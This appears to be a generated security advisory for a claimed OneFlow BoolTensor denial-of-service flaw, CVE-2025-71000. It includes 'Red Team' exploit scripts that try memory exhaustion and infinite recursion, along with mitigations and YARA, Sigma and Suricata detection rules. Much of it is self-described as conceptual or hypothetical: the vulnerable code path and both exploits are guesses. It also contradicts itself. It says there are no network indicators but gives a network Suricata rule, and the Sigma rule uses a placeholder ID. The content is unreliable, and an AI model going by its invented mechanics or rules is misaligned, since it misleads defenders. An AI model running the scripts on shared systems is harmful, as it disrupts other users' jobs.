CVE-2025-71000

SHADOW_DORKS: ["oneflow v0.9.0", "oneflow cuda.BoolTensor"]

Executive Summary

CVE-2025-71000 is a denial-of-service (DoS) vulnerability in the OneFlow machine learning framework, specifically in the flow.cuda.BoolTensor component. An attacker with local access can craft a malicious input that causes the component to enter an infinite loop or crash, leading to a denial of service. The vulnerability affects OneFlow v0.9.0 and has no known patch or public exploit at this time. The CVSS score is 0.0 due to incomplete NVD data, but the vector indicates a local attack with low complexity and no impact on confidentiality or integrity.

Supply Chain & Package Security

OneFlow is a deep learning framework distributed via PyPI. Organizations using OneFlow v0.9.0 in their ML pipelines should treat this as a supply chain risk. The package may be pulled from public registries, and vulnerable versions could be included in container images or CI/CD workflows. Verify the integrity of the package and consider pinning to a patched version once available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions needed.
• Privileges Required (PR): Low (L) – Attacker needs low-privileged access.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability.

Threat Level: Medium (Local DoS). Exploitation requires local access, limiting remote attack surface. However, in shared ML environments, a low-privileged user can disrupt critical training or inference jobs.

Deep Dive & Mechanics

The vulnerability resides in the flow.cuda.BoolTensor component of OneFlow v0.9.0. This component handles boolean tensors on CUDA devices. The issue is triggered by a crafted input that causes improper validation of tensor dimensions or data types. When the malformed input is processed, the component enters an infinite loop or triggers an unhandled exception, leading to a crash or hang of the OneFlow process.

Root Cause: Insufficient input validation in the CUDA kernel or host-side code for boolean tensor operations. The component fails to check for edge cases such as zero-length dimensions, negative strides, or incompatible data types, allowing an attacker to cause resource exhaustion.

Attack Scenario: An attacker with local shell access to a machine running OneFlow v0.9.0 can execute a Python script that creates a malicious BoolTensor and passes it to a vulnerable operation (e.g., flow.cuda.BoolTensor(...)). The process becomes unresponsive or crashes, denying service to other users or processes.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code path is identified as the BoolTensor constructor or related CUDA kernel. A patched version would include input validation checks.

Vulnerable Code (Conceptual):

# OneFlow v0.9.0 - flow/cuda/bool_tensor.py
class BoolTensor:
    def __init__(self, data):
        # No validation of data shape or type
        self._tensor = cuda_create_bool_tensor(data)

Patched Code (Hypothetical):

# Patched version
class BoolTensor:
    def __init__(self, data):
        if not isinstance(data, (list, tuple, np.ndarray)):
            raise TypeError("Input must be list, tuple, or ndarray")
        if len(data) == 0:
            raise ValueError("Input cannot be empty")
        # Additional checks for CUDA compatibility
        self._tensor = cuda_create_bool_tensor(data)

Exploitation & Lab Setup

Red Team

Prerequisites: Local access to a system with OneFlow v0.9.0 installed and a CUDA-capable GPU.

Exploit Script:

import oneflow as flow

# Craft a malicious input that triggers the DoS
malicious_input = [True] * (10**9)  # Large list to cause memory exhaustion
try:
    tensor = flow.cuda.BoolTensor(malicious_input)
    print("Tensor created, but system may hang")
except Exception as e:
    print(f"Exception: {e}")

Alternative Payload (Infinite Loop):

import oneflow as flow

# Use a recursive or self-referential structure
class Malicious:
    def __init__(self):
        self.data = [self]  # Circular reference

obj = Malicious()
tensor = flow.cuda.BoolTensor(obj)  # May cause infinite recursion

Execution:

python3 exploit.py

Blue Team

Detection: Monitor for abnormal OneFlow process behavior, such as high CPU/GPU usage or crashes. Use the Sigma rule below to detect attempts to create large or malformed tensors.

Mitigation: Restrict local access to OneFlow environments. Use containerization with resource limits (e.g., Docker --memory and --cpus). Implement input validation in wrapper scripts.

Indicators of Compromise (IOCs)

• File Hashes: (None available; monitor for modified OneFlow binaries)
• Process Names: python3 or oneflow consuming excessive resources
• Network: No network indicators (local DoS)
• Logs: OneFlow error logs containing BoolTensor or CUDA error
• System: GPU memory exhaustion or process crashes

Detection Engineering

YARA Rule

rule CVE_2025_71000_OneFlow_DoS {
    meta:
        description = "Detects OneFlow BoolTensor DoS exploit attempts"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-71000"
    strings:
        $s1 = "BoolTensor" ascii wide nocase
        $s2 = "oneflow" ascii wide nocase
        $s3 = "cuda" ascii wide nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: OneFlow BoolTensor DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-71000 via large or malformed BoolTensor creation
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'BoolTensor'
    condition: selection
falsepositives:
    - Legitimate use of BoolTensor with normal data
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-71000 OneFlow BoolTensor DoS Attempt"; flow:to_server; content:"BoolTensor"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict local access to OneFlow environments. Use chmod or sudo to limit execution.
2. Short-term: Monitor for patches from OneFlow maintainers. Consider switching to an alternative framework (e.g., PyTorch) if critical.
3. Long-term: Implement input validation in any wrapper scripts that use OneFlow. Use containerization with resource limits.
4. Detection: Deploy the Sigma and YARA rules above to detect exploitation attempts.

Valters IT – Securing AI/ML pipelines one CVE at a time.